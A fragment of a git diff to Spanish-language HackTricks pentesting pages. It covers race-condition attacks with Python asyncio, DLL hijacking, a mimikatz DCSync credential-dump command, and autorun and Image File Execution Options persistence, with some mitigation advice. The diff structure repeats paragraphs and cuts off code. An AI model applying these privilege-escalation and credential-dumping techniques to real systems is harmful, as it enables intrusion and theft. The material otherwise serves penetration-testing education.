Una vez identificado el punto de vulnerabilidad, se pueden realizar múltiples solicitudes simultáneas para intentar explotar la condición de carrera. Esto se puede lograr utilizando la biblioteca `asyncio` de Python para enviar solicitudes asincrónicas y manejar las respuestas de manera concurrente.
Una vez identificado el punto de vulnerabilidad, se pueden enviar múltiples solicitudes simultáneas al servidor para intentar explotar la condición de carrera. Esto se puede lograr utilizando la biblioteca `asyncio` de Python para enviar solicitudes asíncronas y controlar el flujo de ejecución.
Al aprovechar una condición de carrera exitosamente, un atacante puede obtener acceso no autorizado a datos sensibles, modificar información o realizar acciones maliciosas en la aplicación web objetivo. Por lo tanto, es importante que los desarrolladores y probadores de seguridad estén conscientes de este tipo de vulnerabilidad y tomen medidas para mitigarla.
Al utilizar `asyncio`, se pueden enviar múltiples solicitudes al servidor al mismo tiempo y esperar las respuestas de manera eficiente sin bloquear el hilo principal de ejecución. Esto permite aprovechar las condiciones de carrera y realizar pruebas de penetración web de manera más efectiva.
En resumen, la biblioteca `asyncio` de Python es una herramienta poderosa para realizar pruebas de penetración web y aprovechar las condiciones de carrera. Al utilizar la programación asíncrona, se pueden enviar múltiples solicitudes simultáneas y controlar el flujo de ejecución de manera eficiente.
```python
import asyncio
import httpx
@ -251,7 +253,7 @@ En este punto, es hora de lanzar algunos ataques de RC sobre los puntos finales
El último paso es probar el concepto y convertirlo en un ataque viable.
Cuando envíe un lote de solicitudes, es posible que descubra que un par de solicitudes tempranas desencadena un estado final vulnerable, pero las solicitudes posteriores lo sobrescriben/invalidan y el estado final no se puede explotar. En este escenario, querrá eliminar todas las solicitudes innecesarias: dos deberían ser suficientes para explotar la mayoría de las vulnerabilidades. Sin embargo, reducir a dos solicitudes hará que el ataque sea más sensible al tiempo, por lo que es posible que deba intentar el ataque varias veces o automatizarlo.
Cuando envía un lote de solicitudes, es posible que descubra que un par de solicitudes tempranas desencadena un estado final vulnerable, pero las solicitudes posteriores lo sobrescriben/invalidan y el estado final no se puede explotar. En este escenario, querrá eliminar todas las solicitudes innecesarias: dos deberían ser suficientes para explotar la mayoría de las vulnerabilidades. Sin embargo, reducir a dos solicitudes hará que el ataque sea más sensible al tiempo, por lo que es posible que deba intentar el ataque varias veces o automatizarlo.
### Ataques sensibles al tiempo

View File

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -158,7 +158,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
[dcsync.md](dcsync.md)
{% endcontent-ref %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
@ -170,7 +170,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View File

@ -12,9 +12,9 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable, ¡**estamos contratando**! (_se requiere dominio del polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -22,7 +22,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡*
En primer lugar, vamos a definir el concepto. El secuestro de DLL es, en el sentido más amplio, **engañar a una aplicación legítima/confiable para que cargue una DLL arbitraria**. Términos como _Secuestro del Orden de Búsqueda de DLL_, _Secuestro del Orden de Carga de DLL_, _Suplantación de DLL_, _Inyección de DLL_ y _Carga Lateral de DLL_ se utilizan a menudo -erróneamente- para referirse a lo mismo.
El secuestro de DLL se puede utilizar para **ejecutar** código, obtener **persistencia** y **elevar privilegios**. De los 3, el **menos probable** de encontrar es la **elevación de privilegios** con diferencia. Sin embargo, como esto forma parte de la sección de elevación de privilegios, me centraré en esta opción. Además, ten en cuenta que, independientemente del objetivo, el secuestro de DLL se realiza de la misma manera.
El secuestro de DLL se puede utilizar para **ejecutar** código, obtener **persistencia** y **elevar privilegios**. De los tres, el **menos probable** de encontrar es la **elevación de privilegios** con diferencia. Sin embargo, como esto forma parte de la sección de elevación de privilegios, me centraré en esta opción. Además, ten en cuenta que, independientemente del objetivo, el secuestro de DLL se realiza de la misma manera.
### Tipos
@ -228,7 +228,7 @@ break;
return TRUE;
}
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).

View File

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -163,7 +163,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
Cualquier acceso directo creado en la ubicación indicada por la subclave de inicio ejecutará el servicio durante el inicio de sesión o reinicio. La ubicación de inicio se especifica tanto en la Máquina Local como en el Usuario Actual.
{% hint style="info" %}
Si puedes sobrescribir cualquier Carpeta de Shell de \[Usuario] bajo **HKLM**, podrás apuntarlo a una carpeta controlada por ti y colocar una puerta trasera que se ejecutará cada vez que un usuario inicie sesión en el sistema, escalando privilegios.
Si puedes sobrescribir cualquier \[Usuario] Carpeta de Shell bajo **HKLM**, podrás apuntarlo a una carpeta controlada por ti y colocar una puerta trasera que se ejecutará cada vez que un usuario inicie sesión en el sistema, escalando privilegios.
{% endhint %}
```bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
@ -310,22 +310,22 @@ Cuando se crea una clave de registro en `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W
Para lograr esto, el atacante debe crear una nueva clave en `Image File Execution Options` con el nombre del binario legítimo que desea reemplazar. Luego, debe agregar un valor de cadena llamado `Debugger` y establecerlo en la ruta del binario malicioso.
Cuando se inicie el binario legítimo, Windows ejecutará el binario malicioso en su lugar, lo que permite al atacante ejecutar código con privilegios elevados.
Cuando se inicie el binario legítimo, Windows ejecutará automáticamente el binario malicioso especificado en la clave de registro. Esto permite al atacante ejecutar código con privilegios elevados.
Para evitar este tipo de ataque, se recomienda realizar las siguientes acciones:
Para evitar este tipo de escalada de privilegios, se recomienda realizar las siguientes acciones:
- Restringir los permisos de escritura en la clave de registro `Image File Execution Options`.
- Restringir los permisos de escritura en la clave de registro `Image File Execution Options` para usuarios no privilegiados.
- Monitorear los cambios en la clave de registro `Image File Execution Options` en busca de modificaciones sospechosas.
- Utilizar soluciones de seguridad que detecten y bloqueen este tipo de actividad maliciosa.
- Utilizar soluciones de seguridad que detecten y bloqueen este tipo de ataques.
Al comprender cómo los atacantes pueden aprovechar las opciones de ejecución de archivos de imagen, podemos tomar medidas para proteger nuestros sistemas y prevenir la escalada de privilegios local.
Al comprender cómo los atacantes pueden aprovechar las opciones de ejecución de archivos de imagen, los administradores de sistemas pueden tomar medidas para proteger sus sistemas y prevenir la escalada de privilegios local.
```
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
```
## SysInternals
Tenga en cuenta que todos los sitios donde puede encontrar autoruns ya han sido buscados por [winpeas.exe](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Sin embargo, para obtener una lista más completa de archivos autoejecutados, puede utilizar [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) de SysInternals:
Tenga en cuenta que todos los sitios donde puede encontrar autoruns ya han sido buscados por [winpeas.exe](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Sin embargo, para obtener una lista más completa de archivos ejecutados automáticamente, puede utilizar [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) de SysInternals:
```
autorunsc.exe -m -nobanner -a * -ct /accepteula
```
@ -339,7 +339,7 @@ Encuentra más Autoruns como registros en [https://www.microsoftpressstore.com/a
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).